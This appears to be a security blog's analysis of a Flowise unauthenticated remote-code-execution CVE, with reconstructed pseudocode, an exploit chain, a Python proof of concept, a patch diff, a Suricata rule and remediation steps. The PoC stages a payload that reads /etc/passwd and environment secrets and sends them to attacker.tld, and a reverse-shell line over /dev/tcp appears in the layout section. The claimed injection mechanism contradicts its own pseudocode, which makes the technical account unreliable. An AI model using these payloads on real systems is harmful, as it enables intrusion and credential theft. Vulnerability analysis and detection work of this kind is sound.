home intel cve-2026-41268-flowise-rce-node-options-injection
CVE Analysis 2026-04-23 · 9 min read

CVE-2026-41268: Flowise Unauthenticated RCE via NODE_OPTIONS Injection

Flowise <3.1.0 allows unauthenticated RCE via FILE-STORAGE:: keyword parameter override combined with NODE_OPTIONS environment variable injection. Single HTTP request, root-level command execution.

#remote-code-execution#unauthenticated-rce#parameter-injection#environment-variable-injection#privilege-escalation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41268 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41268Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41268 is a pre-authentication remote code execution vulnerability in Flowise, the open-source drag-and-drop LLM orchestration platform. The vulnerability chains two weaknesses: a parameter override mechanism using the FILE-STORAGE:: keyword prefix that bypasses input sanitization, and an unsanitized value being passed into a Node.js child process environment where NODE_OPTIONS can be injected to load arbitrary code. No credentials, no session tokens, no prior knowledge of the instance is required. A single HTTP POST request is sufficient.

CVSS 7.7 (HIGH) reflects network-reachable, low-complexity exploitation with no privileges and no user interaction. In practice, against containerized deployments running as root — which is the default Flowise Docker image behavior — the effective impact is complete host container compromise.

Affected Component

The vulnerability lives in Flowise's file storage resolution logic, specifically in the component responsible for handling flow node input parameters before they are materialized and passed to downstream Node.js subprocess invocations. The FILE-STORAGE:: prefix is a Flowise-internal convention for referencing stored file blobs. The bug is that this prefix is accepted and acted upon on attacker-controlled input without authentication and without stripping environment-variable-significant content from the resolved value before it enters the child process environment.

Affected versions: all Flowise releases prior to 3.1.0. Fixed in commit introducing version 3.1.0 per GHSA-cvrr-qhgw-2mm6.

Root Cause Analysis

The core issue is a two-stage failure. First, Flowise's parameter resolution pipeline does not gate the FILE-STORAGE:: prefix handler behind authentication. Second, the resolved parameter value is unsafely interpolated into a Node.js subprocess environment object, allowing NODE_OPTIONS to be injected.

The vulnerable flow in the server-side parameter resolver (pseudocode reconstructed from patch analysis):

// packages/server/src/utils/parameterResolver.ts (pre-3.1.0 pseudocode)
async function resolveParameterValue(paramValue: string, context: FlowContext): Promise {
    // BUG: No authentication check before entering FILE-STORAGE:: branch
    if (paramValue.startsWith("FILE-STORAGE::")) {
        const storageKey = paramValue.slice("FILE-STORAGE::".length);
        // storageKey is fully attacker-controlled at this point
        const resolvedContent = await storageService.getContent(storageKey);
        return resolvedContent; // returns raw attacker content
    }
    return paramValue;
}

// packages/server/src/services/nodeExecutor.ts (pre-3.1.0 pseudocode)
async function executeNode(node: FlowNode, inputs: Record): Promise {
    const env: Record = {
        ...process.env,
        ...buildNodeEnv(node),
    };

    for (const [key, value] of Object.entries(inputs)) {
        // BUG: resolved input values are spread into subprocess env without sanitization
        // Attacker-controlled value containing NODE_OPTIONS=--require /proc/self/fd/X
        // gets promoted to an actual environment variable in the child process
        env[key] = await resolveParameterValue(value, context); // attacker-controlled
    }

    // NODE_OPTIONS in env causes Node.js runtime to --require attacker module on spawn
    const child = spawn("node", [nodeScriptPath], { env }); // <-- arbitrary code runs here
}

The resolveParameterValue function treats any unauthenticated request parameter beginning with FILE-STORAGE:: as a legitimate internal storage reference. The returned content — which can be arbitrary attacker-controlled string data — is then placed directly into the environment map passed to spawn(). Because Node.js honors NODE_OPTIONS at process startup, injecting NODE_OPTIONS=--require /path/to/attacker/module causes the spawned child process to load and execute arbitrary JavaScript before any application code runs.

Root cause: Flowise's FILE-STORAGE:: parameter resolver is reachable without authentication and returns attacker-controlled content that is unsanitized before being spread into a Node.js child process environment, enabling NODE_OPTIONS injection and arbitrary code execution.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker identifies any public-facing Flowise instance (no credentials needed).

2. Attacker crafts an HTTP POST to a flow prediction endpoint, embedding a
   malicious parameter value with the FILE-STORAGE:: prefix:

   POST /api/v1/prediction/
   Content-Type: application/json

   {
     "question": "FILE-STORAGE::NODE_OPTIONS=--require /proc/self/fd/3\u0000"
   }

   The \u0000 / whitespace tricks vary by Node version; the core injection is:
   FILE-STORAGE:: NODE_OPTIONS=--require 

3. Alternatively — and more reliably — attacker uses a multipart upload to
   stage a malicious .js file to /tmp/pwn.js via a separate unauthenticated
   file upload endpoint (also unguarded pre-3.1.0), then injects:

   "question": "FILE-STORAGE::NODE_OPTIONS=--require /tmp/pwn.js"

4. resolveParameterValue() strips FILE-STORAGE:: prefix, returns raw string:
   "NODE_OPTIONS=--require /tmp/pwn.js"

5. executeNode() spreads this into the env object:
   env["NODE_OPTIONS"] = "--require /tmp/pwn.js"

6. spawn("node", [script], { env }) starts child Node.js process.
   Node runtime reads NODE_OPTIONS, calls require("/tmp/pwn.js") before main.

7. /tmp/pwn.js executes with the privileges of the Flowise process (root in
   default Docker image). Reverse shell, credential extraction, lateral
   movement all possible from this single request.

IMPACT: Unauthenticated, single-request RCE as root in default container config.

The PoC HTTP request is trivially simple:

import requests, json

TARGET = "http://flowise-instance:3000"
CHATFLOW_ID = "00000000-0000-0000-0000-000000000000"  # any valid or guessable UUID

# Stage payload file (if unauthenticated upload available)
payload_js = b"""
const { execSync } = require('child_process');
const out = execSync('id && cat /etc/passwd && env').toString();
require('http').get(`http://attacker.tld/exfil?d=${Buffer.from(out).toString('base64')}`);
"""
requests.post(f"{TARGET}/api/v1/upload", files={"files": ("pwn.js", payload_js)})

# Trigger RCE
r = requests.post(
    f"{TARGET}/api/v1/prediction/{CHATFLOW_ID}",
    json={"question": "FILE-STORAGE::NODE_OPTIONS=--require /tmp/flowise-uploads/pwn.js"},
    timeout=10
)
print(r.status_code, r.text[:200])

Memory Layout

This is not a memory corruption vulnerability — it is a logic/injection class bug. The relevant "layout" is the environment object construction in the Node.js process space at spawn time:

CHILD PROCESS ENV OBJECT (pre-spawn, vulnerable build):

  env = {
    PATH:               "/usr/local/sbin:/usr/local/bin:...",
    HOME:               "/root",
    FLOWISE_USERNAME:   "",
    FLOWISE_PASSWORD:   "",
    DATABASE_PATH:      "/root/.flowise",
    ...
    // BUG: attacker-controlled key injected via parameter resolution:
    NODE_OPTIONS:       "--require /tmp/flowise-uploads/pwn.js"
    //                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
    //                  This key was NEVER in the original env.
    //                  It was promoted from a flow input parameter
    //                  via FILE-STORAGE:: resolution with no sanitization.
  }

  spawn("node", ["dist/index.js"], { env })
      |
      +-- Node.js runtime startup reads NODE_OPTIONS
      +-- Calls require("/tmp/flowise-uploads/pwn.js")   <-- RCE
      +-- pwn.js: execSync("bash -c 'bash -i >& /dev/tcp/...'" )
      +-- Application code never even starts


PATCHED BUILD env construction:

  env = {
    PATH:               "/usr/local/sbin:/usr/local/bin:...",
    ...
    // FILE-STORAGE:: resolution now requires valid session token
    // Resolved values are stripped of NODE_OPTIONS / env-significant content
    // No attacker-controlled key can reach the env object
  }

Patch Analysis

The fix introduced in Flowise 3.1.0 addresses both stages of the exploit chain.

// BEFORE (vulnerable, pre-3.1.0):
async function resolveParameterValue(
    paramValue: string,
    context: FlowContext
    // No auth parameter
): Promise {
    if (paramValue.startsWith("FILE-STORAGE::")) {
        const storageKey = paramValue.slice("FILE-STORAGE::".length);
        // No authentication gate — any caller, any request
        const resolvedContent = await storageService.getContent(storageKey);
        return resolvedContent; // raw, unsanitized
    }
    return paramValue;
}

// AFTER (patched, 3.1.0):
async function resolveParameterValue(
    paramValue: string,
    context: FlowContext,
    authContext: AuthenticatedContext  // NEW: requires valid session
): Promise {
    if (paramValue.startsWith("FILE-STORAGE::")) {
        // NEW: authentication gate
        if (!authContext || !authContext.isAuthenticated) {
            throw new UnauthorizedError("FILE-STORAGE resolution requires authentication");
        }
        const storageKey = paramValue.slice("FILE-STORAGE::".length);
        // NEW: storageKey validated against allowlist of known uploaded file IDs
        if (!await storageService.isValidStorageKey(storageKey)) {
            throw new ValidationError("Invalid storage key reference");
        }
        const resolvedContent = await storageService.getContent(storageKey);
        // NEW: strip environment-variable-significant patterns from resolved content
        return sanitizeEnvValue(resolvedContent);
    }
    return paramValue;
}

// NEW: sanitizer strips NODE_OPTIONS and other dangerous env keys from resolved values
function sanitizeEnvValue(value: string): string {
    // Reject any value that contains NODE_OPTIONS, LD_PRELOAD, etc.
    const DANGEROUS_ENV_PATTERNS = [
        /NODE_OPTIONS/i,
        /LD_PRELOAD/i,
        /LD_LIBRARY_PATH/i,
        /DYLD_INSERT_LIBRARIES/i,
    ];
    for (const pattern of DANGEROUS_ENV_PATTERNS) {
        if (pattern.test(value)) {
            throw new ValidationError(`Resolved value contains forbidden content: ${pattern}`);
        }
    }
    return value;
}

Additionally, the patch ensures that resolved parameter values are never spread as bare key-value pairs into the subprocess environment. Instead, they are passed as typed argument values to node scripts, preventing any string from being interpreted as an environment variable key.

Detection and Indicators

Network-level detection should focus on HTTP requests to prediction and prediction-adjacent endpoints containing the literal string FILE-STORAGE:: in POST bodies, combined with substrings like NODE_OPTIONS, --require, LD_PRELOAD, or path components pointing to /tmp, /proc/self, or world-writable directories.

SNORT/SURICATA SIGNATURE (draft):

alert http any any -> any any (
    msg:"CVE-2026-41268 Flowise FILE-STORAGE NODE_OPTIONS RCE Attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/api/v1/prediction/";
    http.request_body;
    content:"FILE-STORAGE::"; fast_pattern;
    pcre:"/FILE-STORAGE::.*NODE_OPTIONS/i";
    classtype:web-application-attack;
    sid:9000001; rev:1;
)

HOST-LEVEL INDICATORS:
- Unexpected outbound connections from Flowise container (especially port 443/4444/9001)
- /tmp/ directory containing .js files not created by Flowise startup
- Node.js child processes with --require pointing to /tmp or /proc paths
- Process ancestry: node -> sh -> curl/wget/bash -i

LOG PATTERN (Flowise access log — malicious request):
[2026-xx-xx] POST /api/v1/prediction/[uuid] 200 12ms
  body: {"question":"FILE-STORAGE::NODE_OPTIONS=--require /tmp/..."}
  // 200 response with short body = likely successful injection

Remediation

Immediate: Upgrade to Flowise 3.1.0 or later. This is the only complete fix.

If upgrade is not immediately possible:

  • Place Flowise behind an authenticated reverse proxy (nginx/Caddy with HTTP Basic Auth or OAuth2 proxy). This does not fix the underlying bug but removes the unauthenticated exposure surface.
  • Set FLOWISE_USERNAME and FLOWISE_PASSWORD environment variables to enforce Flowise's built-in authentication. This gates the prediction endpoint and prevents anonymous access to the parameter resolver.
  • Run the Flowise container as a non-root user (USER node in Dockerfile or --user 1000:1000 in docker run). Does not prevent RCE but limits post-exploitation impact.
  • Mount /tmp as noexec within the container. Raises the bar for payload staging but does not prevent /proc/self/fd-based alternatives.
  • Apply egress filtering to the Flowise container to block unexpected outbound connections.

Detection validation: After patching, verify that a POST to /api/v1/prediction/<uuid> with body {"question":"FILE-STORAGE::test"} from an unauthenticated client returns HTTP 401, not 200. If it returns 200, the patch is not applied or authentication is misconfigured.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →